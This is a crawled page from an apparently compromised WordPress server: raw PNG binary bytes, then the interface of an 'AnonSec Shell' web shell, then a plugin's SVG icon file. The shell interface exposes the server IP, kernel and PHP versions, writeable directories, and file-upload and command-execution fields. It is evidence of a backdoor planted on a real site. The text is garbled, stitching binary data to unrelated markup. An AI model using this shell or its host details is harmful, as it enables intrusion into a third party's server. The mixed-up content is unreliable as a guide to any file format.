‰PNG  IHDR 3 ( S°Âr 7iCCPsRGB IEC61966-2.1 xœ–wTSهϽ7½P’Š”ÐkhRH ½H‘.*1 JÀ "6DTpDQ‘¦2(à€£C‘±"Š…Q±ëDÔqp–Id­ß¼yïÍ›ß÷~kŸ½ÏÝgï}Öº üƒÂLX € ¡Xáçň‹g` ð l àp³³BøF™|ØŒl™ø½º ùû*Ó?ŒÁ ÿŸ”¹Y"1 P˜ŒçòøÙ\É8=Wœ%·Oɘ¶4MÎ0JÎ"Y‚2V“sò,[|ö™e9ó2„<ËsÎâeðäÜ'ã9¾Œ‘`çø¹2¾&cƒtI†@Æoä±|N6 (’Ü.æsSdl-c’(2‚-ãy àHÉ_ðÒ/XÌÏËÅÎÌZ.$§ˆ&\S†“‹áÏÏMç‹ÅÌ07#â1Ø™Yár fÏüYym²";Ø8980m-m¾(Ô]ü›’÷v–^„îDøÃöW~™ °¦eµÙú‡mi ]ëP»ý‡Í`/ в¾u}qº|^RÄâ,g+«ÜÜ\KŸk)/èïúŸC_|ÏR¾Ýïåaxó“8’t1C^7nfz¦DÄÈÎâpù 柇øþuü$¾ˆ/”ED˦L L–µ[Ȉ™B†@øŸšøÃþ¤Ù¹–‰ÚøЖX¥!@~ (* {d+Ðï} ÆGù͋љ˜ûÏ‚þ}W¸LþÈ$ŽcGD2¸QÎìšüZ4 E@ê@èÀ¶À¸ àA(ˆq`1à‚D €µ ”‚­`'¨u 4ƒ6ptcà48.Ë`ÜR0ž€)ð Ì@„…ÈR‡t CȲ…XäCP”%CBH@ë R¨ª†ê¡fè[è(tº C· Qhúz#0 ¦ÁZ°l³`O8Ž„ÁÉð28.‚·À•p|î„O×àX ?§€:¢‹0ÂFB‘x$ !«¤i@ڐ¤¹ŠH‘§È[EE1PL” Ê…⢖¡V¡6£ªQP¨>ÔUÔ(j õMFk¢ÍÑÎè t,:‹.FW ›Ðè³èô8úƒ¡cŒ1ŽL&³³³ÓŽ9…ÆŒa¦±X¬:ÖëŠ År°bl1¶ {{{;Ž}ƒ#âtp¶8_\¡8áú"ãEy‹.,ÖXœ¾øøÅ%œ%Gщ1‰-‰ï9¡œÎôÒ€¥µK§¸lî.îžoo’ïÊ/çO$¹&•'=JvMÞž<™âžR‘òTÀT ž§ú§Ö¥¾N MÛŸö)=&½=—‘˜qTH¦ û2µ3ó2‡³Ì³Š³¤Ëœ—í\6% 5eCÙ‹²»Å4ÙÏÔ€ÄD²^2šã–S“ó&7:÷Hžrž0o`¹ÙòMË'ò}ó¿^ZÁ]Ñ[ [°¶`t¥çÊúUЪ¥«zWë¯.Z=¾Æóµ„µik(´.,/|¹.f]O‘VÑš¢±õ~ë[‹ŠEÅ76¸l¨ÛˆÚ(Ø8¸iMKx%K­K+Jßoæn¾ø•ÍW•_}Ú’´e°Ì¡lÏVÌVáÖëÛÜ·(W.Ï/Û²½scGÉŽ—;—ì¼PaWQ·‹°K²KZ\Ù]ePµµê}uJõHWM{­fí¦Ú×»y»¯ìñØÓV§UWZ÷n¯`ïÍz¿úΣ†Š}˜}9û6F7öÍúº¹I£©´éÃ~á~遈}ÍŽÍÍ-š-e­p«¤uò`ÂÁËßxÓÝÆl«o§·—‡$‡›øíõÃA‡{°Ž´}gø]mµ£¤ê\Þ9Õ•Ò%íŽë>x´·Ç¥§ã{Ëï÷Ó=Vs\åx٠‰¢ŸN柜>•uêééäÓc½Kz=s­/¼oðlÐÙóç|ϝé÷ì?yÞõü± ÎŽ^d]ìºäp©sÀ~ ãû:;‡‡º/;]îž7|âŠû•ÓW½¯ž»píÒÈü‘áëQ×oÞH¸!½É»ùèVú­ç·snÏÜYs}·äžÒ½Šûš÷~4ý±]ê =>ê=:ð`Áƒ;cܱ'?eÿô~¼è!ùaÅ„ÎDó#ÛGÇ&}'/?^øxüIÖ“™§Å?+ÿ\ûÌäÙw¿xü20;5þ\ôüÓ¯›_¨¿ØÿÒîeïtØôýW¯f^—¼Qsà-ëmÿ»˜w3¹ï±ï+?˜~èùôñî§ŒOŸ~÷„óûpf* pHYs  Ê&ó? ÉIDATxœí™mh[UÇo’Û·´iWi`×b;Ym­`p Œ¬­n¢8Dh7ýà‡²‰ƒ9Q?t²f-(¢›:?±(Žiˆ:W¦‚m†…Vi‰ö…®±)KÚ4ñwºÜr“Ü›·¶YÊú‡'çí9ç>ÿsžsÎsoäp8, ŒŽŽÔÖÖv †ç)>€äK·>äòòòr¯,Ë¿¥ÒA?@`g]]‹lÓFZ—&J&“é‰P(ôªÑh<“¬ƒì÷ûwüL~ûÆÛ—LxK„<ú"‘¢ ‘³RîY„ހ̗ ëé7{<‹6­÷ø|¾»HÿÑSd ³gÏÚÀþIh«œ-C²-2¹ŠÛ’ÌUä;ää²-î·ˆiDžBŒ:z7'2ŽØ"’28¢“ˆ`þ˜˜ø¡¦¦ÆŸ ™KCCCO[­Ö%Qà’íånú…ìŽXE>Ê]ðR&9@ù+ BóÁ`Ж——wUÕ÷C’#©’áÞy$Tª®®Å®G’’ᡯ+D Ç™•>y'Fõ1ÔyÚV+8J¿ÁÈÉ>£û‰šÈ »ùùN‹ÅÒ!º¥JH…Lð™¤d`<΃c«4TÇungFÝõØŠÒÒÒëÁeY2›t°?)™âââ}$Õu¬Ê^ Õ½^ï¶²²²9¥ÂétšÚÚÚöhè>ŠØÕxÀnV2S"–¤d0ü¾ÿ«óýððp^}}ýêžÑŒÙufÉG =* ò6õ÷jèîaúfffNVVVú ò0D>[‘¤r T²‰/ BÒÍwœD!Ek~~þ†zYQ‹¤’ ¯¨¨8*\ "åé­‡tî™Ò4tSu±×…ˆÀmyin l‘ÉUl‘ÉU2^)ó"«XZZšçBÖmdÞGNdÍ¢Ìq¥¤¤dFd¸Ä \âq©ÜÓÓs²««ËLþ%Đm SÄ_„Iϱ¯æææÄE]Èv»]Äì/³„Ÿ‹žVéf<•±PDŒZÉ"‚vî\ôx<ŽªªªJ¡ÒCZV ÉA’Džþ ¹_ç!"Ì¿ ùÞ©©©1‡ÃˆLÈ*º»»---“šžž···/‹¼xù‚HT;nv,! ÛÍfs£ÎsÜøê1Vð åÊC §!Šï¾6ÌÎΖ–——Ÿ&û¤V{™¢¢¢ýR¼‹‰§.—Ëu^™1Hµ1CÙú*6KDv“ë)Å‘aYÕ¯¸bv?fµNp’LCD­w7IÇúÙ»f£ÈD޼}‘â¯äãR¿C$®'{æk\M¼|åÊÅ;eÇŸø&€K= ‰ ‰¾¸sy]£ý+Ô»áf¦ lî"³¸¸8922²«¡¡aQý•E¬äiô&#„nÕß"bÂûÝn÷›Qd8¿'!’ÖHúhpp°¿©©©‘üe•(G´ú„iPJ~â1œá>ÒWs‹pø5Ü݉—ŒY­Öõñ÷Èw5÷zŒ¥¿ßïÀà·ÈŒi "J!W6oBÆüMrˆ©•ÕWŠü÷ʪ‰h圢·)È(0™L? Xm6Û‹9EÕ^m(Ȧ"#ÐÜÜ,öÚYŸÏ÷9{ÜÞÙÙ¹‹òŸ¢íº›|¬– IEND®B`‚ AnonSec Shell
AnonSec Shell
Server IP : 20.73.19.71  /  Your IP : 10.112.20.21
Web Server : nginx/1.15.12
System : Linux a10deea3d6b7 6.8.0-1044-azure #50~22.04.1-Ubuntu SMP Wed Dec 3 15:13:22 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/custom-permalinks/assets/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /var/www/html/wp-content/plugins/custom-permalinks/assets/images/http-auth.svg
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" width="128px" height="128px" viewBox="0 0 128 128">
<title>Http Auth</title>
<g>
	<g>
		<path fill="#CCA42C" d="M81.38,23.368l-1.139-2.927l-3.116-0.352c-11.22-1.328-21.275-4.391-29.134-8.917l-2.575-1.518
			l-2.602,1.491c-7.832,4.526-17.914,7.616-29.134,8.917l-3.117,0.353l-1.138,2.927C6.39,31.228,4.764,40.116,4.764,49.087
			c0,49.243,39.595,54.88,39.974,54.907l0.813,0.108l0.786-0.135c0.406-0.081,39.703-7.778,39.703-54.88
			C86.068,40.116,84.441,31.228,81.38,23.368z M45.417,98.846c-1.653-0.245-35.449-5.583-35.449-49.758
			c0-8.32,1.491-16.559,4.336-23.822c11.897-1.409,22.684-4.716,31.113-9.594c8.456,4.878,19.214,8.185,31.113,9.594
			c2.817,7.263,4.336,15.502,4.336,23.822C80.865,91.474,46.907,98.547,45.417,98.846z"/>
		<path fill="#CCA42C" d="M70.133,30.631c-12.602-0.623-22.521-4.905-22.603-4.959c-0.678-0.298-1.382-0.434-2.087-0.434
			c-2.06,0-3.929,1.22-4.77,3.09c-1.165,2.628,0.027,5.691,2.656,6.856c0.46,0.217,11.654,5.095,26.289,5.827
			c0.081,0,0.189,0,0.271,0c2.765,0,5.068-2.168,5.204-4.959c0.081-1.382-0.406-2.71-1.328-3.74
			C72.789,31.309,71.515,30.686,70.133,30.631z M45.417,30.441L45.417,30.441c0.406,0.189,10.84,4.716,24.472,5.366
			C56.176,35.13,45.85,30.631,45.417,30.441z"/>
	</g>
</g>
<g>
	<g>
		<path d="M13.464,68.329l2.276-12.114h2.006l-0.976,5.041h0.026c0.705-0.867,1.626-1.437,2.792-1.437
			c1.138,0,2.087,0.705,2.087,2.249c0,0.434-0.055,1.003-0.136,1.464l-0.921,4.797H18.64l0.894-4.661
			c0.055-0.326,0.109-0.678,0.109-1.084c0-0.624-0.298-1.139-1.03-1.139c-0.976,0-2.06,1.166-2.385,2.927l-0.759,3.957H13.464z"/>
		<path d="M27.096,57.732l-0.434,2.277h1.871l-0.298,1.544h-1.87l-0.677,3.36c-0.081,0.38-0.136,0.813-0.136,1.166
			c0,0.434,0.217,0.731,0.732,0.731c0.244,0,0.488,0,0.678-0.027l-0.19,1.545c-0.298,0.108-0.813,0.163-1.301,0.163
			c-1.355,0-1.978-0.76-1.978-1.708c0-0.487,0.054-0.948,0.19-1.545l0.705-3.712h-1.138l0.298-1.545h1.138l0.353-1.789
			L27.096,57.732z"/>
		<path d="M32.787,57.732l-0.434,2.277h1.87l-0.298,1.544h-1.87l-0.677,3.36c-0.082,0.38-0.136,0.813-0.136,1.166
			c0,0.434,0.217,0.731,0.731,0.731c0.244,0,0.488,0,0.678-0.027l-0.189,1.545c-0.298,0.108-0.813,0.163-1.301,0.163
			c-1.355,0-1.978-0.76-1.978-1.708c0-0.487,0.054-0.948,0.19-1.545l0.705-3.712h-1.139l0.298-1.545h1.139l0.353-1.789
			L32.787,57.732z"/>
		<path d="M33.519,71.717l1.626-8.618c0.19-1.003,0.379-2.25,0.488-3.089h1.789l-0.19,1.355h0.027
			c0.705-1.003,1.734-1.545,2.818-1.545c1.789,0,2.629,1.463,2.629,3.089c0,2.9-2.006,5.611-4.852,5.611
			c-0.759,0-1.355-0.163-1.653-0.354h-0.027l-0.678,3.551H33.519z M36.5,66.567c0.298,0.244,0.759,0.407,1.328,0.407
			c1.545,0,2.792-2.061,2.792-3.903c0-0.759-0.353-1.626-1.329-1.626c-1.002,0-2.086,1.139-2.466,3.09L36.5,66.567z"/>
		<path d="M43.736,66.459c0.434,0.244,1.247,0.569,2.006,0.569c0.813-0.027,1.273-0.487,1.273-1.03c0-0.541-0.271-0.867-1.083-1.273
			c-0.949-0.488-1.626-1.22-1.626-2.168c0-1.599,1.409-2.737,3.36-2.737c0.867,0,1.599,0.217,1.952,0.433l-0.515,1.437
			c-0.298-0.162-0.867-0.38-1.545-0.38c-0.758,0-1.274,0.407-1.274,0.976c0,0.461,0.379,0.786,1.084,1.139
			c0.895,0.488,1.734,1.165,1.734,2.25c0,1.814-1.545,2.846-3.523,2.846c-0.976,0-1.87-0.271-2.331-0.598L43.736,66.459z"/>
		<path fill="#EE1C4E" d="M50.294,67.299c0-0.813,0.569-1.463,1.41-1.463c0.705,0,1.192,0.541,1.192,1.246
			c0,0.813-0.569,1.438-1.41,1.438C50.755,68.52,50.294,67.977,50.294,67.299z M51.379,61.554c0-0.786,0.569-1.464,1.409-1.464
			c0.705,0,1.192,0.542,1.192,1.274c0,0.813-0.569,1.409-1.409,1.409C51.867,62.773,51.379,62.231,51.379,61.554z"/>
		<path d="M53.249,69.007l6.341-12.385h1.491l-6.369,12.385H53.249z"/>
		<path d="M58.804,69.007l6.341-12.385h1.492l-6.37,12.385H58.804z"/>
	</g>
	<g>
		<path fill="#999999" d="M75.824,62.068v-3.197c0-1.654-1.274-3.009-2.818-3.009h-1.085c-1.544,0-2.818,1.355-2.818,3.009v3.197
			c-0.948,0.922-1.544,2.223-1.544,3.686c0,2.792,2.194,5.068,4.904,5.068c2.711,0,4.905-2.276,4.905-5.068
			C77.368,64.291,76.772,62.99,75.824,62.068z M70.052,61.337v-2.493c0-1.139,0.84-2.087,1.869-2.087h1.085
			c1.03,0,1.869,0.922,1.869,2.087v2.493c-0.135-0.081-0.271-0.135-0.38-0.217c0,0,0,0-0.026,0s-0.026-0.027-0.054-0.027
			s-0.054-0.027-0.081-0.027c0,0-0.027,0-0.027-0.027c-0.055-0.027-0.082-0.027-0.137-0.055l0,0
			c-0.433-0.163-0.894-0.271-1.381-0.298h-0.027c-0.026,0-0.081,0-0.108,0h-0.027c-0.055,0-0.108,0-0.136,0
			c-0.053,0-0.107,0-0.135,0h-0.027c-0.027,0-0.082,0-0.109,0h-0.026c-0.487,0.027-0.949,0.135-1.382,0.298l0,0
			c-0.054,0.027-0.081,0.027-0.136,0.055c0,0-0.027,0-0.027,0.027c-0.027,0-0.055,0.027-0.081,0.027
			c-0.027,0-0.027,0.027-0.055,0.027c0,0,0,0-0.026,0C70.295,61.202,70.16,61.256,70.052,61.337z M72.463,69.847
			c-2.194,0-3.956-1.843-3.956-4.12c0-1.544,0.813-2.872,2.032-3.604c0.027,0,0.027-0.027,0.055-0.027
			c0.026,0,0.054-0.027,0.054-0.027c0.027-0.027,0.082-0.027,0.109-0.054c0,0,0.027,0,0.027-0.027
			c0.405-0.19,0.866-0.325,1.301-0.379l0,0c0.053,0,0.107,0,0.161,0c0,0,0,0,0.027,0c0.055,0,0.109,0,0.164,0
			c0.053,0,0.106,0,0.161,0c0,0,0,0,0.027,0c0.055,0,0.109,0,0.163,0l0,0c0.46,0.054,0.895,0.163,1.328,0.379
			c0,0,0.025,0,0.025,0.027c0.027,0.026,0.082,0.026,0.109,0.054c0.027,0,0.055,0.027,0.055,0.027c0.027,0,0.027,0.027,0.055,0.027
			c1.219,0.704,2.031,2.06,2.031,3.604C76.42,68.004,74.659,69.847,72.463,69.847z"/>
		<path fill="#999999" d="M73.845,64.969c0-0.76-0.623-1.383-1.382-1.383c-0.758,0-1.381,0.623-1.381,1.383
			c0,0.379,0.161,0.758,0.433,1.002l-0.325,1.491c0,0.026,0,0.054,0,0.108c0,0.406,0.406,0.705,0.923,0.705h0.729
			c0.517,0,0.923-0.299,0.923-0.705c0-0.027,0-0.082,0-0.108l-0.325-1.491C73.684,65.727,73.845,65.375,73.845,64.969z
			 M72.165,67.354l0.298-1.301l0.299,1.301H72.165z M72.653,65.375c-0.082,0.055-0.163,0.108-0.216,0.217
			c-0.055-0.081-0.109-0.162-0.219-0.217c-0.134-0.081-0.243-0.217-0.243-0.406c0-0.244,0.189-0.434,0.435-0.434
			c0.243,0,0.433,0.189,0.433,0.434C72.896,65.131,72.815,65.294,72.653,65.375z"/>
	</g>
</g>
<g>
	<g>
		<path fill="#7F7F7F" d="M112.41,65.375c-0.894-0.244-1.219,4.012-3.522,3.768c-2.277-0.271-2.575-3.93-3.414-3.686
			c-9.162,2.655-13.145,9.485-12.847,19.675c0.054,1.438,1.22,2.574,2.656,2.574c0.027,0,0.053,0,0.08,0
			c1.465-0.055,2.63-1.273,2.575-2.736c-0.108-3.714,0.678-6.885,2.276-9.377c0,0.135-0.027,0.271-0.027,0.406v10.948h5.231v2.304
			h-5.231v30.327c0,1.842,1.491,3.333,3.334,3.333s3.334-1.491,3.334-3.333c0,0-0.704-26.045,1.788-26.072
			c2.493-0.027,2.087,26.072,2.087,26.072c0,1.842,1.491,3.333,3.334,3.333c1.842,0,3.334-1.491,3.334-3.333l0.054-30.327h-0.896
			l0.705,3.144l-1.762,0.406l-0.785-3.55h-3.253v-2.304h0.894l-1.055-0.271l-0.65-2.898l4.985,1.246l0.027,0.163l0.38,1.761h1.409
			l0.027-10.948c0-0.244-0.027-0.488-0.027-0.731c1.707,2.52,2.547,5.772,2.438,9.621c-0.054,1.463,1.111,2.71,2.575,2.736
			c0.027,0,0.055,0,0.082,0c1.435,0,2.628-1.138,2.655-2.574C125.555,74.86,121.545,68.031,112.41,65.375z"/>
		<path fill="#7F7F7F" d="M109.62,64.183c3.604-0.38,6.232-3.605,5.88-7.209l-13.09,1.328
			C102.79,61.934,106.015,64.563,109.62,64.183z"/>
		<polygon fill="#7F7F7F" points="115.88,55.727 115.88,51.201 100.324,51.201 102.844,55.727 99.185,57.299 		"/>
	</g>
</g>
</svg>

Anon7 - 2022
AnonSec Team